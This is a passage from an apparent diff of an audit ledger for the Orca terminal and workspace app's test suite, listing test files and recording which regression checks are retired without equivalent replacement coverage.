src/main/worker-threads/worker-thread-request-queue.test.ts, src/main/workspace-hooks/hooks-setup-runner-script.test.ts, src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts, src/main/workspaces/creation/preparation/worktree-create-preparation.test.ts, src/main/workspaces/removal/local-worktree-removal-recovery.test.ts, src/main/workspaces/removal/worktree-removal-safety.test.ts, src/main/wsl/discovery/distro-catalog.test.ts, src/main/wsl/discovery/wsl-distro-holder.test.ts, src/main/wsl/filesystem/wsl-guest-drive-mountinfo.test.ts, src/main/wsl/orcad/wsl-orcad-deploy-app-update.test.ts, src/renderer/src/components/agent/agent-launch-picker-acquisition.test.ts, src/renderer/src/components/feature-tips/feature-tip-telemetry.test.ts, src/renderer/src/components/native-chat/composer/pickers/use-native-chat-side-chat-command.test.ts, src/renderer/src/components/native-chat/media/images/native-chat-image-copy.test.ts, src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.test.ts, src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-fork-point.test.ts, src/renderer/src/components/native-chat/messages/actions/use-native-chat-fork.test.tsx, src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.test.ts, src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode2031-raw-subscription.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-deferred-input-forwarding.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-terminal-bell-attention.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-dropped-output-snapshot-healing.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/output/pty-connection-fresh-native-follow-reset.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/spawn/unbound-pane-spawn-recovery.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-foreground-agent.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts, src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-delivery-interest.test.ts, src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-push-reattach.test.ts, src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-opencode-model.test.ts, src/renderer/src/components/terminal-pane/pty-transport/output/pty-side-effect-pending-census.test.ts, src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-prebind-discard-notice.test.ts, src/renderer/src/components/terminal-pane/render-health/terminal-webgl-atlas-recovery.test.ts, src/renderer/src/components/terminal-pane/snapshots/pty-buffer-serializer.test.ts, src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.test.ts, src/renderer/src/components/terminal-pane/viewport/split-right-white-screen.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/stale-document-visibility.test.ts, src/renderer/src/components/ui/security-surface-theme-contrast.test.tsx, src/renderer/src/components/use-terminal-parking-pass.test.tsx, src/renderer/src/hooks/client-workspace-view-report.test.ts, src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge-placement.test.ts, src/renderer/src/hooks/use-bundled-skill-install.test.tsx, src/renderer/src/hooks/useGitHubSlugMetadata.assignee-reuse.test.tsx, src/renderer/src/hooks/useSettingsNavigationMetadata.language-switch.test.tsx, src/renderer/src/lib/codex-stale-pane-account-identity.test.ts, src/renderer/src/lib/image-blob-png.test.ts, src/renderer/src/lib/react-commit-cascade-store-write-samples.test.ts, src/renderer/src/lib/work-items/linear/linear-issue-context-snapshot.test.ts, src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.test.ts, src/renderer/src/runtime/source-control/git/runtime-git-branch-client.test.ts, src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-key-reuse.test.ts, src/renderer/src/store/repos/repos-catalog-request-coordination.test.ts, src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-batch.test.ts, src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-fixture.ts, src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.test.ts, src/renderer/src/store/slices/worktrees/metadata/worktree-meta-rename.test.ts, src/renderer/src/store/terminals/store-sleep-shutdown-order.test.ts, src/renderer/src/store/terminals/terminal-first-tab-publication.test.ts, src/renderer/src/store/terminals/workspace-terminal-reconnect-hydration.test.ts, src/renderer/src/web/web-runtime-connection-auth-framing.test.ts, src/shared/terminal/appearance/terminal-font-weight-windows-regular.test.ts, tests/e2e/claude-agent-row-view.unit.test.ts, tests/e2e/cross-version-wire/agent-permission-legacy-spawn.unit.test.ts, tests/e2e/paired-instant-browser-tab.spec.ts, tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts, tests/e2e/session-tabs/mobile-session-active-performance.unit.test.ts, tests/e2e/session-tabs/mobile-session-active-publication.unit.test.ts, tests/e2e/structured-agent-session-launch-admission.unit.test.ts, tests/e2e/structured-attention-prompt-relay.unit.test.ts, tests/e2e/structured-attention-read-retirement.unit.test.ts, tests/e2e/structured-chat-tab-lifetime-cost.unit.test.ts, tests/e2e/structured-session-workspace-authority.unit.test.ts, tests/e2e/terminal-agent-pane-launch.unit.test.ts, tests/e2e/terminal-parked-memory.spec.ts, tests/e2e/terminal-shortcuts.spec.ts, tests/e2e/terminal-split-activation-latency.spec.ts, tests/e2e/terminal-split-activation-latency-phases.ts, tests/e2e/terminal-split-activation-latency-main-probe.ts, tests/e2e/terminal-split-activation-latency-artifact.ts, tests/e2e/terminal-split-activation-latency-report.ts, tests/e2e/terminal-tab-switch-visual-restore.spec.ts, tests/e2e/web-runtime-session-terminal-host-authority.unit.test.ts. Unresolved local/computed edges remain explicit debt.",
         "Audit2095 current-parent preparation2126 (approved2092/2093 removals; source refresh2109/independent2112): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-03.spec.ts: rejects exact terminal stop for multiple expected PTYs before stopping anything; omits stale renderer leaves when fresh PTY liveness is required; omits unbound renderer placeholders when fresh PTY liveness is required; captures the event method before the nested sleep receipt changes it; returns the close receipt without requiring a PTY stop; uses the same stop result as an empty explicit stop. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-04.spec.ts: builds a compact worktree summary from persisted and live runtime state; reads the linked-PR state from the renderer repoId-keyed GitHub cache; carries persisted worktree host ownership in mobile summaries; emits only instance- and boundary-validated lineage parents in mobile summaries; resolves WSL platforms only for repos represented in mobile summaries; omits worktrees hidden by the host visibility policy from mobile summaries; applies linked-checkout source visibility to mobile summaries. src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-02.spec.ts: routes runtime GitHub PR details and actions through the selected WSL project runtime; passes SSH connection context through hosted review creation flows; routes local WSL project hosted review flows through runtime git options; treats SSH worktree drift as unknown without local git probes. src/main/runtime/orca-runtime-tests/terminal-listing.spec.ts: emits one mobile session terminal tab per live PTY even if two tabs resolve to it; resolves projected split authority from the parent layout PTY binding; keeps explicit-id terminal lists from resolving all worktrees; keeps explicit-id cold-cache terminal lists from classifying unrelated same-repo worktrees; keeps unknown bare terminal-list ids on the no-scan exact-id path; matches explicit-id cwd PTYs for folder workspace instance IDs; routes PTY output through the PTY leaf index in large terminal graphs. src/main/runtime/orca-runtime-tests/window-authority.spec.ts: claims the first window as authoritative and ignores later windows; transfers authority from the headless sentinel to the first real window; relays terminal browser launches only while headless owns the graph; marks live headless PTYs for renderer reattach before desktop promotion; reports the activation gate state while no desktop window is available; bumps the epoch and enters reloading when the authoritative window reloads; can mark the graph ready for the authoritative window; drops back to unavailable and clears authority when the window disappears; hands the graph back to headless when a promoted serve window closes (#27292); keeps a crashed promoted serve renderer on its own window while the window is open; stays unavailable during initial loads before a graph is published. src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-routing-races.spec.ts: stops paged routing when the check is cancelled; keeps an unfiltered redrive unrestricted when reservations merge; keeps an unfiltered parked delivery unrestricted when reservations merge; uses a bounded indexed pane lookup for reminted Dispatch identity. src/main/runtime/workspaces/removal/worktree-teardown-unstopped-pty.test.ts: removes the reported wedged automation workspace without --force; clears PTY state once a failed stop is proven to have exited; names only the PTYs that are actually live, not every failed stop; warns with the specific sweep failure, not the generic deadline; still fails closed on a sweep-level failure without force. src/main/skills/bundled-skill-install/layouts.test.ts: links into a project only where its agent folder already exists; reads a pending cloud transaction as busy and a cloud receipt as another skill. src/main/skills/skill-upload-session-service.test.ts: joins concurrent disposal callers through exact cleanup completion. src/main/source-control/hosted-review-creation.test.ts: creates the pull request after fresh main-process validation passes; routes local WSL git and GitHub review creation through the selected runtime; creates a pull request on a GitHub Enterprise Server remote (#8312); creates a GitLab merge request after fresh main-process validation passes; creates an Azure DevOps pull request after fresh main-process validation passes; creates a Gitea pull request after fresh main-process validation passes. src/main/source-control/hosted-review-execution-host-routing.test.ts: reads a GitHub review on the SSH host a row names only in executionHostId; reads a GitLab review on the executionHostId host when connectionId names a different one; does not dial this client for a runtime row whose nested target shares a local name; keeps a runtime row with no nested target on this process (self-addressed stamp); keeps a legacy connectionId-only SSH row on its target; does not share a cached answer between two rows at one path on different hosts; creates a Bitbucket review locally for a runtime row rather than dialing its nested target; reports creation eligibility from the executionHostId-only SSH host; resolves the GitHub slug for a repo listing on the row it is asked about; refuses to dial a runtime host from this process; answers with the SSH target for both spellings and local otherwise; reads a runtime stamp on a row in this store as self-addressing, not a second machine. src/main/source-control/hosted-review-inflight-invalidation.test.ts: keeps other hosts, paths and their pending promises isolated. src/main/speech/model-manager.test.ts: requires pinned, internally consistent metadata for every model file; verifies downloaded model file hashes before installation; rejects non-HTTPS model downloads; marks OpenAI transcription models ready only when an API key is configured. src/main/ssh/connection/ssh-connection-sftp-namespace.test.ts: writes to the SFTP namespace path discovered on the same session; uploads the bundle into the SFTP namespace directory; issues no discovery requests when the caller supplies no mapping; ignores a mapping on a Windows host; never resolves on the system-SSH transport; leaves writeBuffer and openFileUploadSession on the shell path; keeps the shell path when discovery is inconclusive; preserves a session-limit channel-open error unchanged. src/main/ssh/connection/ssh-connection-system-transport.test.ts: uses system SSH transport when ProxyUseFdpass is resolved by OpenSSH; allows concurrent exec commands for system SSH with an Orca ControlMaster socket; keeps concurrent exec commands disabled for system SSH without a reusable socket; uses system SSH transport for ProxyCommand targets before ssh2 auth; keeps the original ssh2 reachability error when the system SSH probe fails; reports the system SSH failure when ssh2 cannot negotiate with the host; uses system transport for target or resolved OpenSSH proxy directives; allows an environment override for e2e coverage; ignores stale imported proxy fields when fresh OpenSSH config has no proxy. src/main/ssh/orcad-migration-catalog-client.test.ts: keeps each server project’s execution host, so a nested SSH row is never read as local; reads the server’s folder workspaces and the groups that place them on a host; sends and validates the %s operation; validates an abort result without letting it erase committed state; validates a committed receipt against the requested manifest; rejects malformed stage timestamps and abort envelopes; fails closed for method absence, malformed identity, and invalid pairing; refuses a destination without the capability before sending any migration request; reads method-not-found as the same refusal, not as a lost answer. src/main/ssh/runtime-ssh-access.test.ts: persists intent then claim before connecting and publishes redacted authenticated access; names the saved dependency when dependent state blocks an SSH access link; handles lost link responses without connecting or verifying again; invalidates old transport only after authenticated access is published; rejects changed request tuple after a completed link; rejects provisioning and missing durable generations without connecting; treats a lost successful unlink response as an idempotent no-op; hashes connection identity, not display state or owner; strictly validates ports and request IDs. src/main/startup/cli-launch-redirect.test.ts: detects a launch that received the unpacked CLI entrypoint; ignores normal desktop launches; ignores the entrypoint when it is only the executable itself (argv[0]); applies on Linux too; strips injected Chromium switches before node-mode CLI arguments; keeps user flags after the command and malformed boolean assignments; does not treat a later positional entrypoint path as the launcher; redirects a direct binary launch with no AppImage env at all; strips Chromium switches node mode would reject; preserves desktop-shaped switches after the command; leaves direct serve in-process but redirects its help; treats help as a CLI launch even without a command; treats %s as a CLI launch even without a command; does not treat a value of %s as a CLI early-exit flag; does not treat a serve option value as a help request; does not reinterpret help after the argument terminator; leaves a plain desktop launch alone; skips flag values when looking for the command positional; preserves a project selector in %j; does not apply the command form on macOS or Windows; never redirects an unpackaged build; runs the in-package CLI in Electron node mode with sanitized env; refuses to redirect twice so a dropped ELECTRON_RUN_AS_NODE cannot loop; reports a missing CLI entrypoint instead of booting the desktop app; execs a direct serve into the CLI so it keeps its pid and honours profile and supervise; keeps ORCA_USER_DATA_PATH for a direct serve without --user-data-dir; serves in-process when this runtime cannot exec or the exec fails; never execs the --serve child the CLI itself spawns, or serve on other platforms; surfaces a spawn failure as a non-zero exit; re-execs a direct --serve onto X11 when Electron resolved Wayland; leaves $name alone. src/main/startup/main-process-runtime-launch-activation.test.ts: marks startup settled for the launch record only after the window has loaded and settled; loads SSH targets on a windowless serve before paired clients can connect (#25886); pins the serve listener to loopback only for orcad browser sidecars (sidecar=$sidecar, #31895); saves Codex auth before a headless serve update restart, like the desktop does. src/main/startup/run-electron-vite-dev.test.ts: forwards dev instance identity to electron-vite; prepares userData orca and orca-dev wrappers for dev terminals; consumes the stable-name flag before forwarding args to electron-vite. src/main/updater/releases/updater-prerelease-feed.test.ts: returns the newest stable tag when the user is on an RC and a newer stable exists; returns the newest RC tag when no stable is newer than the current RC; can exclude prerelease tags for stable-channel checks; probes the %s %s platform manifest; returns null for stable-channel checks when only prereleases are newer; returns null when nothing in the feed is newer than the current version; ignores entries with unparseable tags; returns null when the fetch is not ok; returns null when the fetch throws; picks semver-newest across a mixed-order feed; ignores perf-tagged prereleases for regular RC checks; reports no RC update when only perf-tagged prereleases are newer; picks the semver-newest perf-tagged prerelease; matches only literal rc.N.perf prerelease tags for perf checks; reports no perf update instead of falling back to stable or RC tags; returns a bounded fallback candidate after the newest newer tag; returns null when the only newer tag has a manifest but its asset still 404s; requires a known old timestamp for a stable-fallback tag. src/main/updater/updater-events.test.ts: hands the whole downloaded event to artifact capture; publishes manual-install recovery after a %s download; publishes the normal downloaded state for AppImage builds; blocks downloaded-state handling when the packaged marker is unusable; passes the actual updater error into the install-failure handler; keeps manual-install recovery when a later check finds only the installed release; drops the artifact when another version takes over the cycle; ignores a downloaded event for an older target; accepts a matching event when the pending cache target was cleared; drops the artifact when progress reports a different pending version. src/main/updater/updater-linux-package-recovery-actions.test.ts: rejects both actions while no package-install recovery is active; validates the retained package on every invocation; restores recovery after a recheck resolves without a terminal event; restores recovery after a recheck fails; restores recovery when a pinned check resolves to the current version; restores recovery when resolving a pinned check fails; clears recovery for both actions once the package is gone; resolves %s as a result and keeps the card usable instead of rejecting; keeps recovery available after a transient read failure. src/main/updater/updater.check-settlement.test.ts: leaves a dismissed release update on the release source; surfaces net::ERR_FAILED to user-initiated checks with a friendly message; shows checking immediately for a user-initiated check while feed pinning is pending; keeps background checks event-driven before checking-for-update fires. src/main/usage/usage-provider-store-lifecycle.test.ts: persists identities for a whole first scan with one write; skips disabled and fresh matching states; invalidates prior sources on fingerprint changes and reuses them for forced scans. src/main/window/createMainWindow-close-confirmation.test.ts: clears the quit latch when the renderer prevents unload; does not notify the crash recorder when renderer teardown follows a confirmed window close; allows close when Electron reports a crashed webContents; requests confirmation for a hung-but-alive renderer instead of bypassing. src/main/workspaces/catalog/worktree-identity-persistence.test.ts: stores independent metadata for colliding locators on two hosts; projects canonical-only metadata for exactly one host; keeps canonical metadata current for legacy writers on a known owner; removes only the selected legacy-owner metadata when locators collide; keeps the canonical identity stable when the locator changes; leaves other hosts at the old locator when one host renames its folder. src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts: leaves a journaled conversion untouched with the gate closed, %s. src/main/wsl/orcad/wsl-orcad-deploy.test.ts: holds the distro before it deploys and launches, and reports what C5 dials; passes its connect-state read (%s) on as hints; applies the SSH census and downgrade admission to the first deploy; refuses a WSL 1 distro before holding it or touching its files; tells an unregistered distro how to find the installed ones, before holding anything; surfaces an unsupported libc as the SSH host refusal does; starts an already-active slot the distro stop ended, instead of reporting it ready; deploys over an adopted unrecorded orcad under the SSH terminal gate, never a fresh launch; reports the adopted instance once the same version is serving; returns a deferral rather than launching over live terminals; hands a failed first deploy to the fresh-install cleanup before reporting it. src/main/zcode/zcode-v2-plan-credentials.test.ts: prefers migrated credentials over a stale legacy account; keeps legacy support when no personal v2 file exists; honors the upstream personal config override independently of the credential directory; does not borrow credentials from another execution host; preserves the protected Orca key priority even if v2 is corrupt; rejects upstream-invalid selection %j without legacy fallback; accepts a valid optional reasoning level; rejects upstream-invalid rule containers %j without legacy fallback; accepts a valid selected-provider empty personal rule and smart model rule; cannot establish selected credentials from %s rules; leaves encrypted CLI files unchanged across repeated account reads. tests/e2e/automation-terminal-launch.unit.test.ts: launches explicit Chat for %s through the common entry and keeps its actual fallback; does not apply stored Terminal extras to Chat; forwards only complete Chat-consumed values, with no Terminal startup base; refuses an expired admission without minting another launch identity; records the actual chat identity and delegates new workspace setup and provenance. tests/e2e/github-project-provider-columns.unit.test.ts: renders %s through one bounded items request on a named cloud host; preserves zero and complete counters: %j; preserves populated and legacy rows through shared sorting, grouping and cells. tests/e2e/structured-agent-session-launch-continuation.unit.test.ts: carries renderer lifetime through host intent to the real %s provider builders. tests/e2e/terminal-account-restart.unit.test.ts: replaces a tombstoned owner while its persisted pane binding has not yet been cleared; paired restart retains the old owner (host authority: %s). tests/e2e/terminal-hidden-view-parking.spec.ts: does not park excluded tabs; reproduces a static frame byte-for-byte across 25 park/reveal cycles. tests/e2e/terminal-long-table-scroll-restore.spec.ts: reproduces long markdown table artifacts after workspace switch and scroll; keeps narrow wrapped signer markdown table coherent after restore and scroll; keeps real emoji markdown table right edge clean after restore and scroll. tests/e2e/terminal-long-table-fixtures.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-paste-ownership.spec.ts: Windows multiline keyboard paste normalizes terminal newlines with one PTY owner; right-click paste sends clipboard text to the focused terminal exactly once. tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts: uses WebGL by default for ordinary terminal output when available @terminal-rendering-golden. tests/e2e/terminal-windows-shell-paste-ownership.spec.ts: cmd.exe default terminal keyboard paste preserves exact content with one PTY owner; Git Bash default terminal keyboard paste preserves POSIX-shaped content with one PTY owner; WSL terminal keyboard paste preserves Linux shell content with one PTY owner. tests/e2e/workspace-board-lane-virtualization.spec.ts: mounts a window of cards for a large lane and keeps lane indexes; renders later lane indexes after the lane scrolls. Current changed source bytes, wrapper registrations and reduced selectors have no fresh execution or red/green credit. Unrelated surviving receipt objects keep their original narrow scope; current literal graph reachability does not establish historical import closure or equivalent replacement coverage. Current conservative command/import graph reaches src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-04.spec.ts, src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-listing.spec.ts, src/main/runtime/orca-runtime-tests/window-authority.spec.ts, src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-routing-races.spec.ts, src/main/runtime/workspaces/removal/worktree-teardown-unstopped-pty.test.ts, src/main/skills/bundled-skill-install/layouts.test.ts, src/main/skills/skill-upload-session-service.test.ts, src/main/source-control/hosted-review-creation.test.ts, src/main/source-control/hosted-review-execution-host-routing.test.ts, src/main/source-control/hosted-review-inflight-invalidation.test.ts, src/main/speech/model-manager.test.ts, src/main/ssh/connection/ssh-connection-sftp-namespace.test.ts, src/main/ssh/connection/ssh-connection-system-transport.test.ts, src/main/ssh/orcad-migration-catalog-client.test.ts, src/main/ssh/runtime-ssh-access.test.ts, src/main/startup/cli-launch-redirect.test.ts, src/main/startup/main-process-runtime-launch-activation.test.ts, src/main/startup/run-electron-vite-dev.test.ts, src/main/updater/releases/updater-prerelease-feed.test.ts, src/main/updater/updater-events.test.ts, src/main/updater/updater-linux-package-recovery-actions.test.ts, src/main/updater/updater.check-settlement.test.ts, src/main/usage/usage-provider-store-lifecycle.test.ts, src/main/window/createMainWindow-close-confirmation.test.ts, src/main/workspaces/catalog/worktree-identity-persistence.test.ts, src/main/wsl/filesystem/wsl-drive-unc-conversion-startup.test.ts, src/main/wsl/orcad/wsl-orcad-deploy.test.ts, src/main/zcode/zcode-v2-plan-credentials.test.ts, tests/e2e/automation-terminal-launch.unit.test.ts, tests/e2e/github-project-provider-columns.unit.test.ts, tests/e2e/structured-agent-session-launch-continuation.unit.test.ts, tests/e2e/terminal-account-restart.unit.test.ts, tests/e2e/terminal-hidden-view-parking.spec.ts, tests/e2e/terminal-long-table-scroll-restore.spec.ts, tests/e2e/terminal-long-table-fixtures.ts, tests/e2e/terminal-paste-ownership.spec.ts, tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts, tests/e2e/terminal-windows-shell-paste-ownership.spec.ts, tests/e2e/workspace-board-lane-virtualization.spec.ts. Unresolved local/computed edges remain explicit debt.",
@@ -9368,7 +9100,21 @@
         "Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed.",
         "Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed.",
         "Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed.",
-        "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired."
+        "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired.",
+        "Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands.",
+        "Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims.",
+        "Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical.",
+        "Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed.",
+        "Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed.",
+        "Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed.",
+        "Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed.",
